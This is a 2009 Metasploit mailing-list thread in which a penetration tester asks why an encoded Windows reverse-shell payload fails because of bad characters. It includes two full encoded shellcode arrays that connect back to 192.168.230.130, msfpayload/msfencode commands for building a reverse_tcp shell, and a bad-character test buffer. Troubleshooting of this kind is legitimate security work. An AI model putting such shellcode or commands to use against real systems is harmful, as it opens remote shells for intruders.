Re: Encoder PexFnstenvSub

[Pedro Drimel <pedrodrimel () gmail com>]

I used the manual way but it's still weird, could get it working using
framework-2.7 via web but not thru msfpayload/msfencode, even with
current framework 3.3.

Working: via msfweb - badchards: 0x00 0x0d

/* win32_reverse -  EXITFUNC=seh LHOST=192.168.230.130 LPORT=4321
Size=312 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char scode[] =
"\x33\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x06"
"\xe1\x8a\x06\x83\xeb\xfc\xe2\xf4\xfa\x8b\x61\x4b\xee\x18\x75\xf9"
"\xf9\x81\x01\x6a\x22\xc5\x01\x43\x3a\x6a\xf6\x03\x7e\xe0\x65\x8d"
"\x49\xf9\x01\x59\x26\xe0\x61\x4f\x8d\xd5\x01\x07\xe8\xd0\x4a\x9f"
"\xaa\x65\x4a\x72\x01\x20\x40\x0b\x07\x23\x61\xf2\x3d\xb5\xae\x2e"
"\x73\x04\x01\x59\x22\xe0\x61\x60\x8d\xed\xc1\x8d\x59\xfd\x8b\xed"
"\x05\xcd\x01\x8f\x6a\xc5\x96\x67\xc5\xd0\x51\x62\x8d\xa2\xba\x8d"
"\x46\xed\x01\x76\x1a\x4c\x01\x46\x0e\xbf\xe2\x88\x48\xef\x66\x56"
"\xf9\x37\xec\x55\x60\x89\xb9\x34\x6e\x96\xf9\x34\x59\xb5\x75\xd6"
"\x6e\x2a\x67\xfa\x3d\xb1\x75\xd0\x59\x68\x6f\x60\x87\x0c\x82\x04"
"\x53\x8b\x88\xf9\xd6\x89\x53\x0f\xf3\x4c\xdd\xf9\xd0\xb2\xd9\x55"
"\x55\xa2\xd9\x45\x55\x1e\x5a\x6e\xc6\x49\x6c\x84\x60\x89\x9a\xe7"
"\x60\xb2\x03\xe7\x93\x89\x66\xff\xac\x81\xdd\xf9\xd0\x8b\x9a\x57"
"\x53\x1e\x5a\x60\x6c\x85\xec\x6e\x65\x8c\xe0\x56\x5f\xc8\x46\x8f"
"\xe1\x8b\xce\x8f\xe4\xd0\x4a\xf5\xac\x74\x03\xfb\xf8\xa3\xa7\xf8"
"\x44\xcd\x07\x7c\x3e\x4a\x21\xad\x6e\x93\x74\xb5\x10\x1e\xff\x2e"
"\xf9\x37\xd1\x51\x54\xb0\xdb\x57\x6c\xe0\xdb\x57\x53\xb0\x75\xd6"
"\x6e\x4c\x53\x03\xc8\xb2\x75\xd0\x6c\x1e\x75\x31\xf9\x31\xe2\xe1"
"\x7f\x27\xf3\xf9\x73\xe5\x75\xd0\xf9\x96\x76\xf9\xd6\x89\x7a\x8c"
"\x02\xbe\xd9\xf9\xd0\x1e\x5a\x06";

Not working: framework 3.3
root@trackback:/pentest/exploits/framework3# ./msfpayload
windows/shell/reverse_tcp LHOST=192.168.230.130 LPORT=4321
EXITFUNC=seh R | ./msfencode  -b '\x00\x0d' -e x86/fnstenv_mov -t c
[*] x86/fnstenv_mov succeeded with size 314 (iteration=1)
...

It trigger others badchars, even with EXITFUNC=thread, trying with the
default options (LPORT=4444 and EXITFUNC=thread), it got other
badchards (since it was working with 2.7 I gave up dealing with
badchars).

But, the most weird is the 2.7 command line also does not work, it
goes thru some bad chards as well, I thought msfweb and msfpayload
used the same code.

root@trackback:~/framework-2.7# ./msfpayload win32_reverse
LHOST=192.168.230.130 LPORT=4321 EXITFNUC=seh r | ./msfencode -b
'\x00\x0d' -e PexFnstenvSub -t c
[*] Using Msf::Encoder::PexFnstenvSub with final size of 312 bytes
"\x33\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8d"
"\x6b\xb3\xa1\x83\xeb\xfc\xe2\xf4\x71\x01\x58\xec\x65\x92\x4c\x5e"
"\x72\x0b\x38\xcd\xa9\x4f\x38\xe4\xb1\xe0\xcf\xa4\xf5\x6a\x5c\x2a"
"\xc2\x73\x38\xfe\xad\x6a\x58\xe8\x06\x5f\x38\xa0\x63\x5a\x73\x38"
"\x21\xef\x73\xd5\x8a\xaa\x79\xac\x8c\xa9\x58\x55\xb6\x3f\x97\x89"
"\xf8\x8e\x38\xfe\xa9\x6a\x58\xc7\x06\x67\xf8\x2a\xd2\x77\xb2\x4a"
"\x8e\x47\x38\x28\xe1\x4f\xaf\xc0\x4e\x5a\x68\xc5\x06\x28\x83\x2a"
"\xcd\x67\x38\xd1\x91\xc6\x38\xe1\x85\x35\xdb\x2f\xc3\x65\x5f\xf1"
"\x72\xbd\xd5\xf2\xeb\x03\x80\x93\xe5\x1c\xc0\x93\xd2\x3f\x4c\x71"
"\xe5\xa0\x5e\x5d\xb6\x3b\x4c\x77\xd2\xe2\x56\xc7\x0c\x86\xbb\xa3"
"\xd8\x01\xb1\x5e\x5d\x03\x6a\xa8\x78\xc6\xe4\x5e\x5b\x38\xe0\xf2"
"\xde\x28\xe0\xe2\xde\x94\x63\xc9\x4d\xc3\x55\x23\xeb\x03\xa3\x40"
"\xeb\x38\x3a\x40\x18\x03\x5f\x58\x27\x0b\xe4\x5e\x5b\x01\xa3\xf0"
"\xd8\x94\x63\xc7\xe7\x0f\xd5\xc9\xee\x06\xd9\xf1\xd4\x42\x7f\x28"
"\x6a\x01\xf7\x28\x6f\x5a\x73\x52\x27\xfe\x3a\x5c\x73\x29\x9e\x5f"
"\xcf\x47\x3e\xdb\xb5\xc0\x18\x0a\xe5\x19\x4d\x12\x9b\x94\xc6\x89"
"\x72\xbd\xe8\xf6\xdf\x3a\xe2\xf0\xe7\x6a\xe2\xf0\xd8\x3a\x4c\x71"
"\xe5\xc6\x6a\xa4\x43\x38\x4c\x77\xe7\x94\x4c\x96\x72\xbb\xdb\x46"
"\xf4\xad\xca\x5e\xf8\x6f\x4c\x77\x72\x1c\x4f\x5e\x5d\x03\x43\x2b"
"\x89\x34\xe0\x5e\x5b\x94\x63\xa1";

I don't mind about 2.7, would like to understand why this is not
working on 3.3. Please, let me know any other test I can do in order
to evaluate this.

Thanks in advance.

Regards,

Pedro.



2009/11/23 Rob Fuller <mubix () room362 com>:
> Follow the crash step by step and compare chars, see which has changed once
> it hits the stack and add those to your bad chars list. (that's the manual
> way at least, not sure if there is a more advanced way)
>
> --
> Rob Fuller | Mubix
> Room362.com | Hak5.org | TheAcademyPro.com
>
>
> On Mon, Nov 23, 2009 at 11:00 AM, Pedro Drimel <pedrodrimel () gmail com>
> wrote:
> > It is actually a badchars issue. I compared the output I had with the
> > one generated with 2.7 version and it's different. Probably, in the
> > past I had to deal with badchars but don't remember what I did.
> >
> > Tried to run into my buffer the following:
> >
> > string =
> > ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e"
> >
> > "\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d"
> >
> > "\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c"
> >
> > "\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b"
> >
> > "\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a"
> >
> > "\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9"
> >
> > "\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8"
> >
> > "\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7"
> > "\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
> >
> > Put a breakpoint into the memory address which performs a JMP ESP but
> > it didn't work, if I just put some NOPs or a calc.exe it works.
> >
> > Thanks in advance.
> >
> > Regards,
> >
> > Pedro.
> >
> > 2009/11/23 HD Moore <hdm () metasploit com>:
> > > On Mon, 2009-11-23 at 12:18 -0200, Pedro Drimel wrote:
> > > > Hello everyone,
> > > >
> > > > I used to use metasploit:55555 to generate payloads however the
> > > > servers seems to be offline. I would like through command like
> > > > msfpayload the same encoder as "PexFnstenvSub", I think it is
> > > > x86/fnstenv_mov but didn't work as the another one.
> > > >
> > > > What is the encoder PexFnstenvSub?
> > >
> > > The metasploit:55555 server is just msfweb from Metasploit 2.7, you can
> > > download and run it yourself if you like, but there are really good
> > > reasons for it being offline:
> > >
> > >
> > > 1) The payloads do not work on newer versions of Windows
> > > 2) The payloads do not work with newer CPUs with NX support
> > > 3) The payloads have since been improved (reliability) and shrunk
> > >
> > > The supported way is msfpayload with msfencode, the "pexfnstenvsub"
> > > encode was not directly ported, but x86/fnstenv_mov is pretty close to
> > > it. In most cases you do not need to set the encoder, just set the bad
> > > character list in msfencode (-b '\x00'). If x86/fnstenv_mov is not
> > > working, please file a bug.
> > >
> > > -HD
> > >
> > > _______________________________________________
> > > https://mail.metasploit.com/mailman/listinfo/framework
> > _______________________________________________
> > https://mail.metasploit.com/mailman/listinfo/framework
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